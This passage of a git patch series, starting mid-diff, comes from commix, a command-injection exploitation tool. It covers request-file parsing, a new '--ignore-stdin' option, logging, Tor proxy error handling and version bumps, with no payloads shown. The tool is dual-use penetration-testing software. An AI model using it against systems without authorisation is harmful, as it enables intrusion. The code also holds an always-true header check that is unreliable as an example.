"(.*)", line)]) + # Referer Header + if re.findall(r"Referer: " + "(.*)", line): + menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) + if menu.options.referer and "https://" in menu.options.referer: + scheme = "https://" + if re.findall(r"Authorization: " + "(.*)", line): + auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() + menu.options.auth_type = auth_provided[0].lower() + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + if not menu.options.auth_cred: + print(settings.SINGLE_WHITESPACE) + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + # Add extra headers else: - if len(_urllib.parse.urlparse(request_url).scheme) == 0: - request_url = scheme + request_url - if not menu.options.host in request_url: - request_url = request_url.replace(scheme, scheme + menu.options.host) - request_url = checks.check_http_s(request_url) - info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - menu.options.url = request_url - if single_request: - print(settings.SINGLE_WHITESPACE) - if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: - sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url - print(settings.print_sub_content(sub_content)) - if menu.options.cookie: - sub_content = "Cookie: " + menu.options.cookie - print(settings.print_sub_content(sub_content)) - if menu.options.data: - sub_content = "POST data: " + menu.options.data - print(settings.print_sub_content(sub_content)) + match = re.findall(r"(.*): (.*)", line) + match = "".join([str(i) for i in match]).replace("', '",":") + match = match.replace("('", "") + match = match.replace("')","\\n") + # Ignore some header. + if "Content-Length" or "Accept-Encoding" in match: + extra_headers = extra_headers + else: + extra_headers = extra_headers + match + + # Extra headers + menu.options.headers = extra_headers + # Target URL + if not menu.options.host: + invalid_data(request_file) + else: + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not menu.options.host in request_url: + request_url = request_url.replace(scheme, scheme + menu.options.host) + request_url = checks.check_http_s(request_url) + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) + sys.stdout.flush() + menu.options.url = request_url + if single_request: + print(settings.SINGLE_WHITESPACE) + if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: + sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url + print(settings.print_sub_content(sub_content)) + if menu.options.cookie: + sub_content = "Cookie: " + menu.options.cookie + print(settings.print_sub_content(sub_content)) + if menu.options.data: + sub_content = "POST data: " + menu.options.data + print(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 657073e058..34c107c099 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e3f2e3e35a99015bdf73e1f515dbf0d1e9497d0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Dec 2023 08:17:50 +0200 Subject: [PATCH 0371/1023] Minor update --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 0ece63cce6..7389160fb3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -203,7 +203,7 @@ def init_request(url): def url_response(url): if settings.INIT_TEST == True: info_msg = "Testing connection to the target URL. " - print(settings.print_info_msg(info_msg)) + print(settings.print_bold_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname diff --git a/src/utils/settings.py b/src/utils/settings.py index 34c107c099..2c5ba3139f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f1197fd289c7e8b9b7eaffe7d49abb5252239a93 Mon Sep 17 00:00:00 2001 From: n00b-bot Date: Mon, 11 Dec 2023 18:37:56 +0700 Subject: [PATCH 0372/1023] refactor(menu): add --ignoreStdin option This commit refactors the menu module to include a new command-line option, "--ignoreStdin." This option allows the program to ignore STDIN input. The option is added as a boolean flag and defaults to False. --- src/core/main.py | 3 +++ src/utils/menu.py | 6 ++++++ 2 files changed, 9 insertions(+) diff --git a/src/core/main.py b/src/core/main.py index 7389160fb3..d9ea25e5ee 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -559,6 +559,9 @@ def main(filename, url): if settings.STABLE_RELEASE == False: common.days_from_last_update() + if menu.options.ignoreStdin: + settings.STDIN_PARSING = False + # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: diff --git a/src/utils/menu.py b/src/utils/menu.py index 36c5469af9..5c42b487c6 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -603,6 +603,12 @@ def banner(): default=False, help="Imitate smartphone through HTTP User-Agent header.") +misc.add_option("--ignoreStdin", + action="store_true", + dest="ignoreStdin", + default=False, + help="Ignore STDIN.") + misc.add_option("--offline", action="store_true", dest="offline", From c3f7f95f7dada8476068386804f872ee5903d84f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Dec 2023 07:29:05 +0200 Subject: [PATCH 0373/1023] Minor update --- src/core/main.py | 10 +++++++--- src/utils/logs.py | 6 +++--- src/utils/settings.py | 9 +++++++-- 3 files changed, 17 insertions(+), 8 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 7389160fb3..f13594be47 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -575,6 +575,9 @@ def main(filename, url): else: settings.VERBOSITY_LEVEL = menu.options.verbose + if settings.VERBOSITY_LEVEL != 0: + print(settings.execution("Starting")) + if menu.options.smoke_test: smoke_test() @@ -978,12 +981,13 @@ def main(filename, url): print(settings.print_abort_msg(abort_msg)) raise SystemExit() -except SystemExit: - raise SystemExit() - except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise SystemExit() +except SystemExit: + if settings.VERBOSITY_LEVEL != 0: + print(settings.execution("Ending")) + raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/logs.py b/src/utils/logs.py index 65f871d5fd..eaf39b6564 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -17,7 +17,7 @@ import sys import time import sqlite3 -import datetime +from datetime import datetime, date from src.utils import menu from src.utils import settings from src.utils import session_handler @@ -107,8 +107,8 @@ def create_log_file(url, output_dir): if not menu.options.no_logging: output_file.write("\n" + "=" * 37) output_file.write("\n" + "| Started in " + \ - datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ - " at " + '%H:%M:%S' + " |")) + str(date.today()) + \ + " at " + datetime.now().strftime("%H:%M:%S") + " |") output_file.write("\n" + "=" * 37) output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) output_file.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 2c5ba3139f..083abfa55e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,7 +20,7 @@ import random import string import codecs -from datetime import datetime +from datetime import datetime, date from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module @@ -72,6 +72,11 @@ class HTTPMETHOD(object): def print_time(): return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " +# Print execution status +def execution(status): + debug_msg = status + " " + APPLICATION + " " + VERSION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." + return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL + # Print legal disclaimer message def print_legal_disclaimer_msg(legal_disclaimer_msg): result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL @@ -241,7 +246,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f0b6efa962051d3603c8f9ba8f160e91c4fbbf2b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 14 Dec 2023 08:47:23 +0200 Subject: [PATCH 0374/1023] Potential fix for https://github.com/commixproject/commix/issues/866 --- src/core/requests/headers.py | 5 ++++- src/utils/settings.py | 4 ++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c8b95272d2..6203126849 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -225,9 +225,12 @@ def https_open(self, req): if not menu.options.drop_set_cookie: checks.not_declared_cookies(err) try: + if err.fp is None: + raise AttributeError page = checks.page_encoding(err, action="encode") except Exception as ex: - page = err.read() + page = '' + if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, page) diff --git a/src/utils/settings.py b/src/utils/settings.py index 083abfa55e..e20d63bcfd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -74,7 +74,7 @@ def print_time(): # Print execution status def execution(status): - debug_msg = status + " " + APPLICATION + " " + VERSION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." + debug_msg = status + " " + APPLICATION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL # Print legal disclaimer message @@ -246,7 +246,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e5c07d162df28b5ba27f96c27d9f64619be8271 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Dec 2023 08:40:25 +0200 Subject: [PATCH 0375/1023] Minor refactoring --- src/core/injections/controller/checks.py | 7 ++++++- src/core/main.py | 10 +++++----- src/utils/settings.py | 2 +- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b0660c1096..e795c30f8e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -56,6 +56,11 @@ except: settings.READLINE_ERROR = True +def exit(): + if settings.VERBOSITY_LEVEL != 0: + print(settings.execution("Ending")) + os._exit(0) + """ Check injection technique(s) status. """ @@ -232,7 +237,7 @@ def user_aborted(filename, url): print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) common.show_http_error_codes() - os._exit(0) + raise exit() """ Connection exceptions diff --git a/src/core/main.py b/src/core/main.py index f13594be47..65dd217fce 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -60,6 +60,7 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ @@ -979,15 +980,14 @@ def main(filename, url): except NameError: abort_msg = "User quit (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) - raise SystemExit() + raise checks.exit() except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise SystemExit() + raise checks.exit() except SystemExit: - if settings.VERBOSITY_LEVEL != 0: - print(settings.execution("Ending")) - raise SystemExit() + raise checks.exit() + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index e20d63bcfd..7eae377ed7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -246,7 +246,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4b0880279af35fe62dbaa7f9afb19f6e8f452911 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Dec 2023 08:42:31 +0200 Subject: [PATCH 0376/1023] Minor update --- src/utils/logs.py | 3 ++- src/utils/settings.py | 5 +++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index eaf39b6564..93eaed9bc4 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -17,7 +17,8 @@ import sys import time import sqlite3 -from datetime import datetime, date +from datetime import date +from datetime import datetime from src.utils import menu from src.utils import settings from src.utils import session_handler diff --git a/src/utils/settings.py b/src/utils/settings.py index 7eae377ed7..b3b98fdecd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,7 +20,8 @@ import random import string import codecs -from datetime import datetime, date +from datetime import date +from datetime import datetime from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module @@ -246,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f573ed9ca333f5976c1bc57addf5aec4144a402 Mon Sep 17 00:00:00 2001 From: anonymousdouble <112695649+anonymousdouble@users.noreply.github.com> Date: Tue, 19 Dec 2023 14:21:38 +1100 Subject: [PATCH 0377/1023] Update checks.py refactor with With statement to open file to make code more Pythonic --- src/core/injections/controller/checks.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e795c30f8e..93bd7cc39c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1890,11 +1890,10 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." @@ -2581,4 +2580,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof \ No newline at end of file +# eof From c585bcef66a94a4a1c7ffa20d99677a68b1b9d43 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Dec 2023 07:39:58 +0200 Subject: [PATCH 0378/1023] Added new (hidden) option `--ignore-stdin` regarding ignoring STDIN input. --- doc/CHANGELOG.md | 1 + doc/THANKS.md | 1 + src/core/main.py | 6 +++--- src/utils/menu.py | 12 ++++++------ src/utils/settings.py | 4 +--- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2ec274f9e5..0e1a40ddeb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) * Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). * Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. diff --git a/doc/THANKS.md b/doc/THANKS.md index a3ea5cba2f..b4da4e123a 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature. * Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. * Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. * Thanks [0xFred](https://github.com/0xFred) for contributing code. diff --git a/src/core/main.py b/src/core/main.py index d88847ef65..0db6571bea 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -560,9 +560,6 @@ def main(filename, url): if settings.STABLE_RELEASE == False: common.days_from_last_update() - if menu.options.ignoreStdin: - settings.STDIN_PARSING = False - # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: @@ -585,6 +582,9 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): + settings.STDIN_PARSING = True + if menu.options.ignore_redirects: settings.FOLLOW_REDIRECT = False diff --git a/src/utils/menu.py b/src/utils/menu.py index 5c42b487c6..46297ca474 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -603,12 +603,6 @@ def banner(): default=False, help="Imitate smartphone through HTTP User-Agent header.") -misc.add_option("--ignoreStdin", - action="store_true", - dest="ignoreStdin", - default=False, - help="Ignore STDIN.") - misc.add_option("--offline", action="store_true", dest="offline", @@ -633,6 +627,12 @@ def banner(): dest="smoke_test", help=SUPPRESS) +parser.add_option("--ignore-stdin", + action="store_true", + dest="ignore_stdin", + default=False, + help=SUPPRESS) + parser.add_option_group(general) parser.add_option_group(target) parser.add_option_group(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index b3b98fdecd..401a2ec822 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -437,8 +437,6 @@ class OS(object): MAXLEN = 10000 STDIN_PARSING = False -if not sys.stdin.isatty(): - STDIN_PARSING = True # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From 48bd2199e88f5fe98b503f25ed8578e6a387f0de Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Dec 2023 07:13:45 +0200 Subject: [PATCH 0379/1023] Fixes https://github.com/commixproject/commix/issues/878 --- src/utils/logs.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index 93eaed9bc4..3af49b76ad 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -175,7 +175,7 @@ def executed_command(filename, cmd, output): output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") output_file.close() except TypeError: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 401a2ec822..a46821c0f2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From dc8a10f76acc5b553605f61beddfb4d4b187d2b6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Dec 2023 09:53:41 +0200 Subject: [PATCH 0380/1023] Minor refactoring --- src/core/requests/tor.py | 66 +++++++++++++--------------------------- src/utils/settings.py | 2 +- 2 files changed, 22 insertions(+), 46 deletions(-) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index d4f73ba18b..2a485601ec 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -20,26 +20,32 @@ from src.utils import menu from src.utils import settings from src.utils import requirments +from src.core.requests import requests from src.thirdparty.colorama import Fore, Back, Style, init - -if menu.options.tor_port: - TOR_HTTP_PROXY_PORT = menu.options.tor_port -else: - TOR_HTTP_PROXY_PORT = settings.TOR_HTTP_PROXY_PORT +def tor_bandle_error(): + print(settings.SINGLE_WHITESPACE) + err_msg = "Can't establish connection with the Tor HTTP proxy. " + err_msg += "Please make sure that you have " + err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err_msg += "so you could be able to successfully use switch '--tor'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check if Tor HTTP proxy is defined. """ def do_check(): + if menu.options.tor_port: + settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port check_tor_http_proxy = True info_msg = "Testing Tor HTTP proxy settings (" - info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT + info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT info_msg += "). " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) except: @@ -53,7 +59,7 @@ def do_check(): sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if menu.options.tor_check: - info_msg = "Tor connection is properly set. " + info_msg = "Connection with the Tor HTTP proxy is properly set. " else: info_msg = "" found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) @@ -62,39 +68,14 @@ def do_check(): warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." print(settings.print_warning_msg(warn_msg)) - else: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg += "Can't establish connection with the Tor HTTP proxy. " - err_msg += "Please make sure that you have " - err_msg += "Tor bundle installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + tor_bandle_error() except _urllib.error.URLError as err_msg: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg = "Please make sure that you have " - err_msg += "Tor bundle installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + tor_bandle_error() - except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: - print(settings.SINGLE_WHITESPACE) - if len(err_msg.line) > 2 : - print(err_msg.line, err_msg.message) - raise SystemExit() + except Exception as err_msg: + return requests.request_failed(err_msg) """ @@ -102,23 +83,18 @@ def do_check(): """ def use_tor(request): if menu.options.offline: - err_msg = "You cannot Tor network without access on the Internet." + err_msg = "You cannot use Tor network while offline." print(settings.print_critical_msg(err_msg)) raise SystemExit() try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except Exception as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + return requests.request_failed(err_msg) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index a46821c0f2..09424ab4a4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3e3fe8c51a5597036d149c7d09f117e91cd2f5dc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Dec 2023 12:20:14 +0200 Subject: [PATCH 0381/1023] Minor update --- src/core/main.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 0db6571bea..970699fed0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -202,9 +202,6 @@ def init_request(url): Get the URL response. """ def url_response(url): - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - print(settings.print_bold_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname @@ -215,6 +212,9 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + print(settings.print_bold_info_msg(info_msg)) request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 09424ab4a4..f93ae50575 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7e05bda80b95c21003861d3db00d82e262635a10 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Dec 2023 10:24:14 +0200 Subject: [PATCH 0382/1023] Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_injector.py | 1 - .../techniques/classic/cb_injector.py | 1 - .../techniques/eval_based/eb_injector.py | 1 - .../techniques/file_based/fb_handler.py | 6 +- .../techniques/file_based/fb_injector.py | 6 +- .../techniques/tempfile_based/tfb_injector.py | 1 - src/core/main.py | 34 ++++---- src/core/modules/shellshock/shellshock.py | 11 +-- src/core/requests/authentication.py | 6 +- src/core/requests/proxy.py | 4 + src/core/requests/requests.py | 55 +++++------- src/core/requests/tor.py | 83 +++++-------------- src/utils/settings.py | 3 +- 14 files changed, 73 insertions(+), 140 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0e1a40ddeb..3ac338b79a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) * Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 909a3df612..a200291423 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -25,7 +25,6 @@ from src.utils import settings from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index c1e7b78995..a623ac96dd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -24,7 +24,6 @@ from src.utils import menu from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index df84ed33c5..b5ddc3e48e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -21,7 +21,6 @@ import random from src.utils import menu from src.utils import settings -from src.core.requests import 